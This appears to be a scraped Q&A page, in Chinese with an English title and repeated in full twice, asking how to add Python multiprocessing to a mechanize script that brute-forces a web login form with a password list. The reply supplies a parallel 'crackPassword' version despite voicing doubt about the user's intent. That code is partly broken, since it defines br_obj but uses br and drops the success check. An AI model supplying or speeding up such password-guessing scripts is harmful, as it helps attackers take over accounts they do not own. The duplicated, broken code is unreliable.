如何在 for 循环中使用多处理 - python
How to use multiprocessing in a for loop - python
我有一个使用 python 机械化和暴力 html 形式的脚本。这是一个 for 循环,它检查来自 "PassList" 的每个密码并运行直到它通过检查重定向的 url 与当前密码匹配。我如何在这里实现多处理
for x in PasswordList:
br.form['password'] = ''.join(x)
print "Bruteforce in progress.. checking : ",br.form['password']
response=br.submit()
if response.geturl()=="http://192.168.1.106/success.html":
#url to which the page is redirected after login
print "\n Correct password is ",''.join(x)
break
from multiprocessing import Pool
def process_bruteforce(PasswordList):
<process>
if __name__ == '__main__':
pool = Pool(processes=4) # process per core
is_connected = pool.map(process_bruteforce, PasswordList)
我会尝试类似的东西
我希望这不是出于恶意目的。
我从来没有用过python mechanize,但是看到你没有答案我可以分享我所知道的,你可以相应地修改它。
一般来说,它需要有自己的函数,然后调用pool。我不知道你的 br 对象,但我可能会建议有许多这样的对象来防止任何冲突。 (可以尝试使用相同的 br 对象,相应地修改代码)
list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]
from multiprocessing import Pool
from multiprocessing import cpu_count
def crackPassword(lst):
br_obj = lst[0]
password = lst[1]
br.form['password'] = ''.join(password)
print "Bruteforce in progress.. checking : ",br.form['password']
response=br.submit()
pool = Pool(cpu_count() * 2)
crack_password = pool.map(crackPassword,list_of_br_and_passwords)
pool.close()
再说一次,这不是一个完整的答案,只是关于如何进行多处理的一般指南
我有一个使用 python 机械化和暴力 html 形式的脚本。这是一个 for 循环,它检查来自 "PassList" 的每个密码并运行直到它通过检查重定向的 url 与当前密码匹配。我如何在这里实现多处理
for x in PasswordList:
br.form['password'] = ''.join(x)
print "Bruteforce in progress.. checking : ",br.form['password']
response=br.submit()
if response.geturl()=="http://192.168.1.106/success.html":
#url to which the page is redirected after login
print "\n Correct password is ",''.join(x)
break
from multiprocessing import Pool
def process_bruteforce(PasswordList):
<process>
if __name__ == '__main__':
pool = Pool(processes=4) # process per core
is_connected = pool.map(process_bruteforce, PasswordList)
我会尝试类似的东西
我希望这不是出于恶意目的。
我从来没有用过python mechanize,但是看到你没有答案我可以分享我所知道的,你可以相应地修改它。
一般来说,它需要有自己的函数,然后调用pool。我不知道你的 br 对象,但我可能会建议有许多这样的对象来防止任何冲突。 (可以尝试使用相同的 br 对象,相应地修改代码)
list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]
from multiprocessing import Pool
from multiprocessing import cpu_count
def crackPassword(lst):
br_obj = lst[0]
password = lst[1]
br.form['password'] = ''.join(password)
print "Bruteforce in progress.. checking : ",br.form['password']
response=br.submit()
pool = Pool(cpu_count() * 2)
crack_password = pool.map(crackPassword,list_of_br_and_passwords)
pool.close()
再说一次,这不是一个完整的答案,只是关于如何进行多处理的一般指南